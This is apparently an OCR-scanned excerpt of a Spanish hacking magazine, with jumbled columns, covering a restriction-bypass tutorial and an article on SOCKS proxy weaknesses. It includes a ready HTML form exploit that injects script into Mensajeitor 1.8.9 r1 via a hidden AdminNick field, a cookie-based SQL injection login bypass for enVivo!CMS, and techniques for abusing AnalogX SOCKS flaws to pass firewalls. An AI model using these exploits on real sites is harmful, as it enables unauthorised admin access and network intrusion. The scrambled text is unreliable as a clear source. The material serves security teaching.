de fallo. } formulario en el cual se envíen los
mismos datos que nos muestra en el
Dado que grandes empresas pueden Aquí es donde miraremos el código formulario normal al insertar un
tener estos fallos, cualquier otra puede vulnerable. Mirando el código vemos comentario, pero añadiendo el campo
tenerlo, por lo que ya id practicando que se comprueba si el nick que vamos oculto de AdminNick con el valor “si”.
pero siempre sin hacer maldades ;) a usar es el del admin, en el caso de
serlo, da un valor de cómo mostrará el Aquí tenemos un ejemplo del código:
texto en la variable $cadena_final, para
que se vea de un modo diferente para <html>
Esta vulnerabilidad es más difícil de diferenciar el texto del admin. al del <head><title>Mensajeitor Exploit</title></head>

encontrar ya que suele hacer falta tener resto de usuarios, y como ya ha


<body>
mucha paciencia para ir testeando comprobado que es el administrador,
Inyeccion código en Mensajeitor =< v1.8.9 r1
mediante prueba/error o tener el código fija el valor "si" a la variable $AdminNick.
<br><br>
fuente de la web. Se basa en el hecho
de conseguir evadir ciertas restricciones, El caso que $AdminNick no sea "si", fija <form name="form1" method="post"
por ejemplo denegar entrar al panel de el texto como un nick normal. action="http://www.victima.com/mensajeitor.php">
administración (porque no somos
a d m i n s ) o e nv i a r u n m á x i m o d e El problema radica en que en ningún <input type="text" name="nick" size="10"
caracteres en un comentario. Para momento reinicializa $AdminNick, donde value="Nick" maxlength="9"><br>
conseguirlo se mira el código fuente y en el primer if debería de poner un else <input type="text" name="titulo" size="21"
se modifican variables internas que no para asignar $AdminNick = “no”, como value="Mensaje"><br>

se pasan por url pero que el programa no ha hecho esto, podemos pasar por <input type="text" name="url" size="21"
value="http://"><br>
usa y no son revisadas/inicializadas al url el valor de $AdminNick = “si” que
<input type="hidden" name="AdminNick"
pasar a la nueva página. no será cambiado.
value="si"><br>
Introduce código a insertar (&lt;/table&gt; debe
Miraremos un ejemplo basándonos en Dado que en la primera comprobación incluirse al principio)<br>
la vulnerabilidad del programa ($nick == $admin_nick) no coincide <input type="text" name="cadena_final"
Mensajeitor en su versión 1.8.9 r1 porque no tenemos el password de size="75%"
(http://www.mensajeitor.com/distribu admin., no entramos dentro de esta value="</table><script>alert('hacked
tions/mensajeitor_1_8_9_r1.zip). condición, por lo que no se asignará ;)')</script>"><br>
Este programa es un tag board el cual ningún valor a $cadena_final, al seguir <input type="submit" name="enviar"
tiene sus restricciones de seguridad en leyendo el código y dado que nosotros value="Enviar" class="form"><br>

las que mediante una contraseña le habremos pasado el valor $AdminNick </form>
</body></html>
podemos usar nuestro usuario, y el = “si”, hará la comprobación si no somos
admin. puede introducir mensajes admin (if ($AdminNick != “si”)), y al
Con esto conseguimos el formulario
identificado como tal. resultar que tenemos el valor en “si”,
donde tenemos la posibilidad de enviarle
Descargamos el programa y abrimos el tampoco se ejecutará, por lo que
como código a inyectar un javascript
archivo mensajeitor.php donde iremos tampoco asignará valor alguno a
que mostraría un alert con un mensaje
a la línea 19 aprox. donde tenemos que $cadena_final.
“hacked ;)”, podemos cambiarlo e
encontrar el siguiente código:
introducir cualquier otro texto.
Esto quiere decir que a la vez que nos

21

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Como segundo ejemplo veremos cómo http://www.nirsoft.net/utils/iecv.zip, de cualquier otro tipo de ataque a
conseguir privilegios de administrador, una vez descomprimido, lo ejecutamos formularios como pueda ser sql injection,
para poder acceder al panel de control y buscamos el host que hemos visitado. code injection, xss, etc.. ya que la
y todo lo que conlleve estar autentificado habilidad del restriction bypass es saber
como admin., pero esta vez de un modo Aquí haremos doble clic sobre la cookie leer bien el código que estamos
diferente, sin pasar los parámetros por que nos ha dejado para asignarle un analizando para saber en cada momento
url. nuevo valor: qué tipo de ataque podremos realizar
exitosamente.
Tal como se indicaba anteriormente, no NombreCampo:101
sólo debemos tener en cuenta el código Va l o r C a m p o : r e m S t ay L o g g e d I n = Antes que realizar ataques de cualquier
que nos pasan por la url, sino que lo True&remPassword=a%27+or+%27a tipo, si tenemos la opción de descargar
más importante, una vez más, al igual %27+%3D+%27a&remUserName=a y analizar el código fuente de cualquier
que con la vulnerabilidad del tampering, %27+or+%27a%27+%3D+%27ª aplicación, y tenemos en mente una
es el no fiarse nunca del usuario, por programación segura, según vayamos
lo tanto, todas las comprobaciones que Con esto lo que hemos hecho es asignar leyendo el código en cuestión veremos
sean necesarias se harán en el lado del como password y usuario el valor a' or rápidamente los fallos que hay, la
servidor, sobre todo verificar datos como 'a' = 'a, esto produciría siempre capacidad de realizar restriction bypass
la contraseña, usuario, etc.. verdadero ya que a=a siempre es y con qué tipo de ataque conseguiremos
verdadero, consiguiendo así realizar un mayores logros. Para ello sólo tenéis
Esta vez la vulnerabilidad la encontramos authentication restriction bypass, es que leer mucho y probar con mucha
en una aplicación llamada enVivo!CMS. decir, hemos conseguido autentificarnos paciencia una y otra vez y al final el
Una vez encontramos una web que como administradores saltando las bug será nuestro ;)
disponga de esta aplicación, limitaciones que había gracias a SQL
descargaremos un programa para editar Injection modificando las cookies. Saludos.
las cookies del Internet Explorer (tiene
su versión para gestionar las cookies Analizando las vulnerabilidades que se Jordi Corrales
en FireFox pero no deja editarlas), pueden encontrar del tipo restriction
descargaremos el programa de bypass, se puede ver claramente el uso

7.500 MIEMBROS REGISTRADOS


18.000 LECTORES DEL FORO
Únete a nosotros!!!

22

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


En este artículo se estudiará en profundidad el protocolo SOCKS, ampliamente utilizado para permitir
que equipos situados en una red local puedan atravesar el/los cortafuegos que separan dicha red
e internet, permitiendo que este cortafuegos actúe a modo de pasarela o compuerta. Normalmente
el cortafuegos sólo necesitará aceptar las peticiones de red del servidor SOCKS, rechazando y
filtrando el resto de peticiones. El problema de seguridad en este tipo de servidores viene cuando
un servidor SOCKS está mal configurado o se le proporcionan demasiados privilegios desde el
cortafuegos. Esta situación, unida además al hecho de que la mayoría de implementaciones de
servidores SOCKS contienen defectos más o menos serios (sobre todo bajo Windows), propician
que estas pasarelas se conviertan en multidireccionales, permitiendo ya no sólo utilizarlas para el
relevo de conexiones de internet (proxys abiertos), sino que permiten que cualquier servicio
disponible dentro de una red también sea accesible desde internet sin ningún tipo de restricción,
comprometiendo totalmente la seguridad de dicha red. Veremos ejemplos de ello, además de “poner
a caldo” varias implementaciones de proxys tipo SOCKS, por las cosas que hacen y que no deberían.

La motivación que me lleva a redactar este artículo viene Sinceramente espero que este artículo sea de vuestro
determinada por el interés que han mostrado varias interés y que tras su lectura, cuando se oiga mencionar
personas sobre cómo hacer accesible desde internet un la palabra “SOCKS”, podáis mirar el tema bajo otra
servidor que se encuentra en una red local (bien utilizando perspectiva.
un servidor SOCKS instalado en el cortafuegos, o bien
utilizando un SOCKS externo a la red, donde dentro de
su lista de vulnerabilidades, exista una que permita
utilizarlo como proxy inverso). El protocolo SOCKS nació para resolver el compromiso
que en su momento se dio entre proteger el acceso a
En la parte teórica de este artículo, se profundizará en el internet desde una red de intranet, y el aislamiento de
protocolo SOCKS V4 y su extensión 4A, y se echará un ésta en cuanto a conectividad hacia el exterior. De hecho,
vistazo a las características más usadas del protocolo hasta la aparición del protocolo SOCKS, cuando dentro
SOCKS V5. En la parte práctica, se mostrará cómo de una intranet era necesario utilizar servicios que
podemos atravesar una firewall fácilmente cuando conectaran con internet, como pueden ser el correo
accedemos a una red utilizando un servicio de SOCKS electrónico, el FTP y la WEB, era necesario que el equipo
abierto. Además se verá cómo muchas de las situado entre las 2 redes ejecutara distintos servicios de
implementaciones de SOCKS actuales contienen relevo de datos (PROXY), cada uno adaptado a las
vulnerabilidades no comentadas hasta el momento, que necesidades del protocolo en particular. Esto, además de
permiten y/o facilitan utilizar este servicio para otros aumentar el riesgo de aparición de vulnerabilidades (a
propósitos distintos del simple hecho de utilizar el proxy mayor cantidad de servicios, más probabilidades hay que
para relevar una conexión. uno de ellos sea vulnerable a un ataque, comprometiendo

23

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


la seguridad del equipo y por extensión, hemos dicho, existen 2 peticiones
de toda la red intranet), exigía que el válidas, CONNECT, y BIND, cuyos
ordenador utilizado como pasarela valores para CD corresponden con 1 y
(Gateway) mantuviera abiertos varios La sencillez de este protocolo se pone 2 respectivamente. El resto de los
procesos. Por ello, esta pasarela tendría de manifiesto, cuando observamos que campos pueden significar distintas cosas
que ser un equipo potente o de lo SOCKS no mereció un RFC que lo dependiendo del tipo de petición que se
contrario representaría un cuello de describiera hasta que se encontró en su realice. Así, si consideramos la petición
botella en la interconectividad de ambas versión 5. De hecho, la descripción de CONNECT, el campo puerto
redes. los protocolos SOCKS 4 y SOCKS 4A corresponderá con el puerto al que el
la podemos encontrar en los documentos servidor proxy tratará de conectar
Así, se hacía necesario un protocolo que “socks4.protocol” y “socks4a.protocol”, (Como el puerto ocupa 2 bytes, el byte
trabajara en un nivel más bajo que fácilmente accesibles vía google. más significativo se introduce en la
cualquiera de los protocolos utilizados posición 3 del buffer, y el menos
para las aplicaciones comunes. Es decir, El protocolo SOCKS 4, es un protocolo significativo en la posición 4). Si la
hacía falta una extensión de la que funciona exclusivamente sobre TCP. petición es del tipo BIND, este puerto
conectividad que ofrecían los protocolos En éste, la aplicación cliente, envía al será el que el servidor proxy abrirá
de la capa de transporte (TCP, UDP, proxy de SOCKS una solicitud que en localmente para recibir conexiones
etc.) para que los datos pudieran ser la mayoría de los casos será de 9 bytes. entrantes.
relevados en la pasarela sin que el Este proxy tratará de satisfacer la
servicio de proxy que corriera en ella petición del cliente, y si está autorizado, El campo de dirección IP de nuevo tiene
necesitara entender la sintaxis de los tratará de establecer conexión con el 2 significados, dependiendo si se trata
protocolos de mayor nivel, tales como servidor destino. Si lo consigue, el proxy de una petición CONNECT o una petición
FTP, HTTP, IRC, etc. Es así como nació enviará una respuesta positiva de 8 BIND. Para CONNECT, el campo de
el protocolo SOCKS, originariamente bytes al cliente, y en ese momento dirección IP, representa la IP (en la
diseñado para las conexiones TCP, y permitirá el relevo de datos entre el forma de 4 octetos, tal cual nosotros la
extendido en su versión 5 al relevo de cliente y el servidor destino. En leemos) de la máquina a la que el proxy
paquetes UDP. cualquier otro caso, el proxy enviará tratará de conectar. Si la petición es
una respuesta negativa con un código BIND, la dirección IP introducida en
El protocolo SOCKS es muy sencillo de de error (que en la mayoría de los casos ese campo, representará la dirección
implementar, tanto en aplicaciones será “error general”) e inmediatamente que se permite que conecte al puerto
cliente, como en la construcción de cerrará la conexión entre éste y el que el proxy ha puesto a la escucha. El
servidores proxy. De hecho, es tan fácil cliente. proxy debe rechazar cualquier otra
de implementar, que las aplicaciones dirección IP que trate de conectar a ese
cliente tradicionales no necesitan de El protocolo SOCKS 4 admite 2 tipos puerto.
grandes modificaciones para adaptarlas de peticiones, conocidas como
de manera que pueda usarse SOCKS CONNECT y BIND. En la práctica, la Cabe decir aquí que una petición BIND
en ellas. Muchas veces estas mayoría de servidores proxy SOCKS sólo se admitirá si antes se ha efectuado
modificaciones se limitan a sustituir serán altamente compatibles con con éxito una petición CONNECT
algunas librerías en el proceso de peticiones CONNECT, sin embargo, la (debido a que las peticiones BIND se
compilación. Incluso hay programas que mayoría rechazan peticiones BIND, y idearon para aquellos protocolos que
permiten trazar la ejecución de aquellos que no las rechazan, utilizan una conexión de control primaria
aplicaciones que no están preparadas normalmente suelen ejecutarlas de una hacia un servidor, de manera que estos
para el uso de SOCKS, y sustituir en manera distinta a la que indica su permitan el relevo de conexiones
tiempo real las llamadas a funciones de d e f i n i c i ó n d e n t r o d e l e s t á n d a r. secundarias de transferencia no pasiva,
red por sus equivalentes funcionales es decir, conexiones desde el servidor
para SOCKS. Uno de estos programas, La estructura de una petición estándar hacia el cliente. Un ejemplo de esto es
que no el único, es el programa SOCKS 4 puede verse en la figura 1: el protocolo FTP).
ampliamente conocido como
“SOCKSCAP”. El campo de ID de usuario, se pensó en
Figura 1: Formato de una petición aquellos días que se utilizaba el
Dada la naturaleza del protocolo SOCKS SOCKS 4 protocolo Ident para el control de
de no necesitar conocer , una vez hecha Como se puede ver, la petición consta accesos. De esa manera, el servidor
la negociación de relevo de datos, el de 5 campos, y termina en un byte de proxy compararía la ID de usuario con
formato o el protocolo de la transferencia contenido cero (NULL). El campo NV la devuelta desde Ident y de esa manera
de los mismos, es trivial el poder anidar indica el número de versión de la la conexión quedaría identificada.
varias peticiones SOCKS con el fin de petición, que tanto para SOCKS 4 como Cuando se vio que Ident no aportaba
conectar con varios servidores PROXY para SOCKS 4A, corresponderá al valor ninguna seguridad añadida al proxy, las
en cadena. Es lo que se conoce como 4 (parece bastante obvio). El campo CD siguientes implementaciones de SOCKS
el encadenamiento de SOCKS. identifica el código de petición. Como 4 simplemente descartaron el campo

24

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


ID de Usuario, por lo que actualmente la petición SOCKS 4A (Las cadenas de máquina que abre el puerto a la
la mayoría de servidores utilizan una caracteres que terminan en un carácter escucha, y la IP de ésta (si el mismo
versión simplificada de petición SOCKS nulo se utilizan frecuentemente en varios proxy abre el puerto localmente,
de 9 bytes: lenguajes de programación, como por normalmente se copian los valores de
ejemplo C++, y se las conoce como los campos de la petición, aunque aquí
StringZ) . Ahora, en este caso, el hay implementaciones para todos los
servidor resolverá localmente el nombre gustos).
Figura 2: Formato de una petición co-
rriente de SOCKS 4 del dominio y utilizará su IP para
atender la petición del cliente.
Para ilustrar mejor la solicitud lo
haremos mediante un ejemplo: El formato de la respuesta del servidor Ejemplo 3: Respuesta de Petición Acep-
tada para los ejemplos 1 y 2.
proxy, tanto para la versión 4 como
para 4A se puede ver en la figura En una petición BIND, tras enviar una
siguiente: respuesta afirmativa, el puerto abierto
Ejemplo 1: Petición CONNECT hacia
"www.google.es:80" permanecerá en tal estado durante 2
minutos. Si en ese tiempo no llega la
Es obvio que para que un cliente pueda conexión esperada se enviará una
utilizar el protocolo SOCKS 4 debe de Figura 4: Formato de la respuesta segunda respuesta, esta vez negativa,
poder resolver las direcciones de internet
SOCKS 4/4A. y se cerrará la conexión. Si la conexión
(nombres de dominio) en direcciones La respuesta del servidor siempre esperada llega antes de los 2 minutos,
de IP. Es decir, que el ordenador constará de 8 bytes. Esto es cierto al se enviará una segunda respuesta
pasarela debe de implementar un menos para peticiones CONNECT (para afirmativa, donde ahora los campos
servidor de nombres, ya que en caso las peticiones BIND se puede dar el puerto e IP indican el puerto que ha
contrario un ordenador conectado dentro caso de que se generen 2 respuestas). utilizado la conexión entrante para
de una intranet no puede conectar Para ambos tipos de petición, NV establecer la conexión del par TCP y su
utilizando SOCKS 4 si no conoce de corresponderá al número de versión de respectiva IP. En ese momento tanto
antemano qué IP corresponde a cada la respuesta del servidor, donde en este el cliente como la conexión entrante
nombre de dominio. Por ello nació la caso su valor será 0. CD es el código desde el servidor pueden intercambiar
extensión 4A al protocolo SOCKS 4. En de respuesta, y es el número en el que datos.
ella, el formato de ambas peticiones es el cliente deberá fijarse para saber si
el mismo, lo único que cambia, es que su petición ha sido rechazada o admitida. Nosotros nos centraremos principal-
en el campo de la dirección IP se Un valor 90 (0x5A en hexadecimal) mente en el protocolo SOCKS V4 y su
introduce una dirección del tipo “0.0.0.X” indica que la petición ha sido admitida extensión 4A en el desarrollo de este
donde X será un número cualquiera y se procederá como corresponda según artículo. No obstante repasaremos
distinto de 0 (normalmente será un 1). sea el tipo de petición. Un valor de 91 someramente las especificaciones del
Dicha dirección no es una IP válida, así en adelante, indica que ha sucedido un protocolo Socks V5 para las situaciones
que no puede ocurrir en una solicitud error (bien la petición no es correcta, más corrientes de uso. Si el lector desea
SOCKS 4. Los servidores proxy que no bien ha ocurrido un error en la red, bien entrar en profundidad en este protocolo,
acepten peticiones 4A simplemente el proxy no puede atender la petición o le invito a consultar el “RFC 1928”.
rechazarán la petición. El formato de la no se tiene autorización para atenderla).
petición SOCKS 4A se puede ver en la En este caso el resto de campos pueden
figura 3: contener cualquier cosa dependiendo El protocolo SOCKS Versión 5 amplía
de la implementación del proxy, aunque las funciones del protocolo SOCKS 4,
lo normal es que se copien los campos incluyendo direcciones de IPv6 y relevo
Figura 3: Formato de una petición co- directamente desde la petición. de paquetes UDP. Además incluye una
rriente de SOCKS 4A. negociación inicial donde se posibilita
En caso de una respuesta autorizada a la autenticación y encapsulado de datos
Mostraremos el ejemplo anterior, pero una petición CONNECT (CD valdría para incrementar la seguridad. Con las
adaptado a una petición SOCKS 4A: 90), tanto los campos puerto como mejoras comentadas, el protocolo se
dirección IP contendrán el puerto y la incluyó en el RFC 1928, formando así
dirección a la que ha conectado el parte de los estándares de internet.
Ejemplo 2: Petición CONNECT del servidor proxy. Para una petición BIND,
El formato de la negociación preliminar
ejemplo 1 utilizando SOCKS 4A. una respuesta afirmativa significa que
es el siguiente:
el proxy ha autorizado abrir a escucha
Como fácilmente se ve, tras el carácter uno de sus puertos, ya sea localmente,
nulo del final de la petición SOCKS 4, o en otra máquina que esté comunicada
aparece el nombre de dominio en forma con el proxy. En este caso, los campos
de cadena de caracteres, terminando puerto e IP indicarán, el puerto con Figura 5: Formato de la negociación
por otro byte nulo, completando así que conecta el IP del proxy con la SOCKS 5.

25

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Donde VER corresponde a la versión del La longitud del campo DIRECCION Así que pensé adaptar nuestra navaja
protocolo SOCKS, que en este caso tendrá vendrá determinada por el tipo de suiza, es decir, el Netcat, para poder
un valor de 5. El campo NM representa dirección que utilizará la petición SOCKS introducir datos en binario desde la
el número de métodos de autenticación 5. Por lo tanto para IPv4, se utilizarán consola.
que soporta el cliente (hasta 255 métodos). 4 octetos, para IPv6 se utilizarán 16
El resto de bytes dependerá del número octetos, y para un nombre de dominio Para ello compilaremos una pequeña
de métodos, y representa una lista con el formato es ligeramente diferente al aplicación en C que llamaré C2B
cada uno de los métodos de autenticación del protocolo SOCKS 4A. En este caso (Char2Binary). Dicha aplicación tomaría
soportados. Cada método requiere conocer se utilizará otro formato de cadena de cada uno de los parámetros de la línea
su respectivo RFC para ser implementado caracteres (utilizado comúnmente en de comandos, miraría si se trata de un
(por ejemplo, el método de autenticación otros lenguajes de programación, como número, convirtiéndolo a un BYTE y
de usuario/contraseña se recoge las Shortstrings de Delphi), donde el mostrándolo por el interfaz estándar de
específicamente en el documento RFC primer byte de la cadena indica su salida. Si bien se trata de texto, lo
1929 para SOCKS V5). Sin embargo hay longitud (sin contarse a él mismo), y copiaría tal como está directamente.
2 códigos de métodos especiales, que son el resto de bytes son ocupados por los
los más usados en las negociaciones de caracteres de la cadena sin necesidad
SOCKS 5. Será el método “sin de terminar en un carácter nulo. En este
autenticación” que corresponde al código caso la cadena no podrá contener más
0, y el método “ninguna autenticación es de 255 caracteres. (la utilidad de utilizar
posible” que corresponde con el método este sistema en lugar de cadenas
255 (0xFF en hexadecimal). El servidor terminadas en 0 es la inmediata
seleccionará el método de autenticación protección frente a intentos de
que se utilizará, y lo hará saber al cliente desbordamiento de buffer).
en la respuesta de la negociación:
VER será 5 para esta versión de
protocolo, y CD será 1 para peticiones
Figura 6: Respuesta de una negociación CONNECT, 2 para BIND, y 3 para
SOCKS 5. asociación de UDP.
Listado 1: "c2b.c"
De nuevo, VER tiene un valor de 5. La respuesta tiene el mismo formato La llamada a la función setmode sólo
Ahora, el cliente utilizará el método que su petición, y las mismas funciones es necesaria si el programa se compila
indicado por el proxy para la que la respuesta de SOCKS 4, sin en windows, para evitar que en el modo
autenticación y/o empaquetamiento de embargo, ahora una petición aceptada texto se expandan los retornos de carro.
los datos. Si MET vale 0, el cliente no se indica porque el campo CD está a 0.
necesita autenticarse, procediendo Cualquier otro valor de CD indica una Para utilizar este programa, lo
simplemente a realizar la petición petición rechazada y la conexión debe utilizaremos conjuntamente con Netcat
SOCKS 5. Si MET vale 255, el cliente cerrarse inmediatamente. a través de una pipe. De esa manera la
no puede autenticarse y tendrá que salida de nuestro programa será la
cerrar la conexión. entrada de Netcat. Un inconveniente
que tiene hacer esto es que no podemos
El formato de una petición es el interactuar con la conexión, sino
siguiente: El protocolo SOCKS es en esencia simplemente enviar los datos y esperar
B I N A R I O, l o q u e s i g n i f i c a q u e s i una respuesta por parte del servidor.
queremos interactuar con él, debemos Sin embargo, para nuestras prácticas
de ser capaces de introducir datos con SOCKS 4 esto es suficiente (no
Figura 6: Petición/Respuesta con forma- binarios desde el interfaz del usuario obstante, no podremos interactuar más
to SOCKS 5 (ya sea desde consola o desde una allá del primer paso de la negociación
Como vemos, aunque algunos campos ventana) y mandarlos al servidor de SOCKS 5).
cambian de orden, y aparecen campos SOCKS. En principio pensé utilizar uno
nuevos, la mayoría de campos cumplen de esos raros clientes de TCP RAW que Además, para realizar nuestras
las mismas funciones que en SOCKS 4. existen en internet (un programador prácticas, necesitaremos instalar un
Ahora aparece un campo nuevo, porque argentino que se hace llamar igual que servidor proxy de SOCKS local. Yo he
el campo DIRECCIÓN puede alojar yo ha hecho un cliente para Windows optado por el archiconocido proxy de
distintos tipos de dirección de internet. que permite enviar datos en AnalogX. Este proxy implementa 6
Por ello, dependiendo el valor de TD, hexadecimal; http://www.drk.com.ar, protocolos de relevo, de entre ellos los
corresponderá una dirección IP versión desde aquí un saludo para mi tocayo), protocolos SOCKS 4/4A y SOCKS 5 de
4 (TD -> 1), un nombre de dominio (TD pero estos clientes no son muy cómodos manera parcial (solo para relevo de
-> 3), o una IP versión 6 (TD -> 4). de manejar, y me decanté por utilizar conexiones TCP). He optado por este
aplicaciones que nos resulten familiares. proxy, porque además de ser muy

26

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


usado, sobre todo en pequeñas LAN, cuya IP es 128.101.80.133. el primer byte es el número de versión
es un proxy muy interesante. Una que corresponde con el valor 4. El
búsqueda rápida en google, nos indica Ta m b i é n n e c e s i t a m o s d e f i n i r u n segundo byte es una petición CONNECT
que este proxy en sus versiones más escenario. En este caso estaremos (valor 1). El tercer y cuarto bytes
tempranas era vulnerable a ataques de situados en una red local con 3 corresponden al puerto que en este
desbordamiento de buffer en algunos ordenadores, uno de ellos con IP caso es el 21, y los 4 siguientes bytes,
servicios, fallo que ha sido corregido en 192.168.0.1 (KEITARO) conectado a como se puede ver, son el IP del
las últimas versiones. La realidad es internet y corriendo el proxy de AnalogX, servidor de debian.org. Un último BYTE
que este proxy contiene vulnerabilidades así pues funcionando a modo de pasarela de valor 0 terminará la petición. La
en todos sus servicios, siendo la mayoría (figura 7). salida de c2b se pasa a la entrada del
el resultado de implementar los Netcat desde la pipe, y los datos que
estándares de una forma un tanto “libre”. En la figura 7, la primera llamada a pasen por ella serán enviados al servidor
Sin embargo, llegado el momento nos Netcat la hacemos para comprobar que SOCKS, que correrá en el puerto 1080
centraremos en las vulnerabilidades del efectivamente, la IP antes mencionada (puerto estándar del protocolo SOCKS)
servicio SOCKS de este proxy, ya que corresponde con el servidor de de KEITARO.
el resto se escapa de los propósitos de “debian.org”, tal y como nos indica su
este artículo. banner de bienvenida. La respuesta del servidor de SOCKS
nos aparece como unos caracteres
En la primera práctica, para familia- El segundo Netcat, se llama desde la extraños en pantalla. Aún así parece
rizarnos con las peticiones SOCKS, pipe del c2b y es, en efecto, nuestro evidente que la petición ha sido
trataremos conectar con el puerto 21 primer ensayo de una conexión a través concedida, como lo demuestra el banner
del sufrido servidor FTP de “debian.org” del protocolo SOCKS 4. Como vemos, del servidor FTP de debian.org
inmediatamente tras ésta.

Sin embargo, podemos hacer uso de la


potencia del Netcat y loggear la
respuesta del servidor proxy, mediante
la opción –o, que nos dará un volcado
de los datos en el fichero que espe-
cifiquemos. Como se puede ver en dicho
volcado, la respuesta comienza por un
BYTE de valor 0, seguido por el código
de respuesta que en este caso es 90
(“5A” en hexadecimal). Los siguientes
bytes representan de nuevo el puerto
y la IP del equipo remoto al que se
conecta a través del proxy. Como vemos,
la respuesta no acaba en un BYTE cero,
sino que acto seguido se transfieren los
datos entre cliente-servidor. En este
Figura 7: Familiarizándonos con las peticiones SOCKS 4. caso es el servidor quien envía el banner
de bienvenida de debian.org.

Ahora que nos hemos familiarizado con


el protocolo SOCKS 4 (puedes hacer
mas pruebas, conectando con los
servidores que se te ocurra),
probaremos lo fácil que es convertir la
petición al protocolo SOCKS 4A. Además
mostraremos el primer paso de la
negociación del protocolo SOCKS 5
(figura 8).

Como se puede ver en el volcado de


datos, el servidor AnalogX devuelve el
IP de debian.org en la respuesta de la
petición. Esto no lo hacen todos los
servidores, ya que la mayoría lo que
Figura 8: Ejemplos de peticiones SOCKS 4A y negociación SOCKS 5. hacen es copiar el puerto y la IP en la

27

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


respuesta directamente desde la de la petición, es decir, para un cliente resolver en una IP. Cualquier otro proxy,
petición. Esto en principio es bueno, que efectúe una petición no autorizada, bien se quedaría esperando a que el
porque le está pasando información útil el servidor no debería proporcionar cliente envíe el resto de la petición, o
al cliente, sin embargo propiciará un información útil al cliente. bien devolvería un error y cortaría la
fallo de funcionamiento derivado de esta conexión sin más. En este caso lo que
característica que puede proporcionar Este pequeño error en la programación el proxy hace es conectar a sí mismo,
información útil a un atacante. de este proxy permitiría que cualquiera utilizando la IP de la máquina donde
de estos proxys que se encuentre abierto se ejecuta (en el caso de que existan
A continuación se muestran unas en toda la red mundial de internet, varios interfaces de red, utilizará una
solicitudes que darán una respuesta pudiera utilizarse como servidor de IP local).
negativa (figura 9): nombres (utilizando un pequeño
El caso es que ya de por sí el proxy no
debería de permitir conectarse a sí
mismo, ya que éste es el primer paso
para poder engañar al firewall y hacerle
creer que la conexión viene desde una
dirección IP de confianza. Este proxy
no sólo permite conectarse a sí mismo
(en el puerto 21 corre el servicio de
relevo de FTP de este proxy) sino que
ante peticiones SOCKS 4A incompletas,
lo hace “por defecto”.

En la segunda petición vemos un tipo


de petición BIND aceptada, donde se
ha indicado que el ordenador de la red
local llamado NARU (192.168.0.2) es
el que debe conectar con el puerto
abierto por el proxy, que en este caso
Figura 9: Ejemplos de peticiones rechazadas por el proxy.
es el puerto 50. Vemos que en este
La primera petición, del tipo SOCKS 4, programa que efectuara la traducción caso, primero se recibe una respuesta
es rechazada porque el tipo de petición en las peticiones DNS). que acepta poner a escucha puerto y
(en este caso, con un valor de 3) no luego una segunda aceptando una
coincide con ninguno de los tipos de Sin embargo, en este proxy existen conexión entrante desde NARU (y unos
petición permitidos por el protocolo comportamientos todavía más raros del cuantos bytes que han sido enviados
SOCKS 4. Notar que el código de error servicio SOCKS (figura 10): desde el Netcat de ese ordenador). Una
es el 91 (5B en hexadecimal, o “[“ en
ASCII). La segunda petición es
rechazada, porque el puerto que se ha
especificado, el 31, no se encuentra
abierto en el servidor de debian.org, así
que el intento de conexión del proxy
hacia el servidor remoto ha fallado.

La tercera petición es rechazada por el


mismo motivo que la primera, aunque
ahora habría que observar ciertas cosas.
En primer lugar, vemos que el código
de petición no corresponde con uno
permitido, por lo que la petición es
rechazada sin ni siquiera tratar de
conectar con el servidor remoto. Aun
así, siendo rechazada la petición, como
tiene la forma de una petición SOCKS Figura 10: Comportamientos extraños del proxy AnalogX.
4A, el servidor AnalogX resuelve el
dominio de debian.org y devuelve su En la primera petición vemos que se singular característica del proxy AnalogX
IP en la respuesta. Mi opinión es que trata de una petición SOCKS 4A, aunque es que en las peticiones BIND, en la
siendo la petición rechazada, la IP de está incompleta ya que tras el carácter primera respuesta cuando la petición
respuesta debería ser la misma que la nulo, no aparece ningún nombre para es aceptada, los bytes del puerto

28

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


La tercera petición es una combinación
de peticiones erróneas, y nos permitiría
averiguar la IP local del servidor proxy.
Combinamos una petición con código
no válido, con un formato de SOCKS
4A incompleto. Para postre ni siquiera
necesitamos enviar un byte 0 para
terminar la petición (este es otro detalle
del SOCKS AnalogX, y es que en las
peticiones no es necesario terminar con
un BYTE 0, lo que puede ser útil para
Fingerprinting). El resultado es que aun
siendo la petición rechazada, ésta nos
devuelve la IP local del equipo que
ejecuta el proxy (lo que nos permite
deducir qué tipos de subred tienen los
ordenadores de esa red local y su
Figura 11: Atravesando un cortafuegos. máscara de red).

aparecen intercambiados con respecto AnalogX. Al mismo tiempo, utilizará esa


a la petición del cliente, característica misma IP para conectar al puerto 2121
que permite identificar este tipo de como si fuera el servidor final de FTP.
SOCKS como un AnalogX y de esa De esa manera, si el servidor FTP tiene Ya hemos visto las “funciones” del
manera podemos hacer un Fingerprint desactivada la protección de FTP software de SOCKS AnalogX que no
de este servicio. Bounce, podrá transmitir ficheros con debería de hacer. Pero este proxy no es
toda normalidad simplemente el único en tener comportamientos raros.
Pero el error más grave no es ese, sino efectuando conexiones salientes hacia De hecho, lo recomendable es que
que se permita autorizar una petición el proxy (para abrir un puerto ningún proxy permitiera conectarse a
BIND sin antes mantener abierta una remotamente), o bien hacia el cliente. sí mismo, o bien, que no permitiera
petición CONNECT autorizada con el En este caso sólo la conexión de control conexiones desde el exterior ya sea
servidor de destino (recordamos que pasará por el proxy, requiriendo poco lateralmente o hacia el interior de una
esto es un requisito especificado en la ancho de banda, sin embargo la red local. La principal medida de
descripción del protocolo). Eso permite conexión de datos será directa, seguridad que implementa el proxy
hacer que este servidor pueda actuar aprovechando el ancho de banda de la AnalogX es un filtrado por enlazado de
como un proxy inverso. red corporativa. Esto será posible en IP, es decir, que solo permitirá las
las zonas o subredes donde se permita conexiones entrantes si estas conexiones
El escenario podría ser el siguiente. el tráfico saliente hacia internet, aunque efectuaron la llamada de conexión hacia
Dentro de una red corporativa, se se deshabilite el tráfico entrante la IP local del proxy y no la pública (por
implementa un servidor, por ejemplo, totalmente (lo cual representa la lo tanto, prohibiendo cualquier acceso
de FTP. Además se ejecuta una situación de un número amplio de redes, desde el exterior de la red). El problema
pequeña aplicación que enviará un par para evitar que estas redes proporcionen es que dicho proxy no detecta si
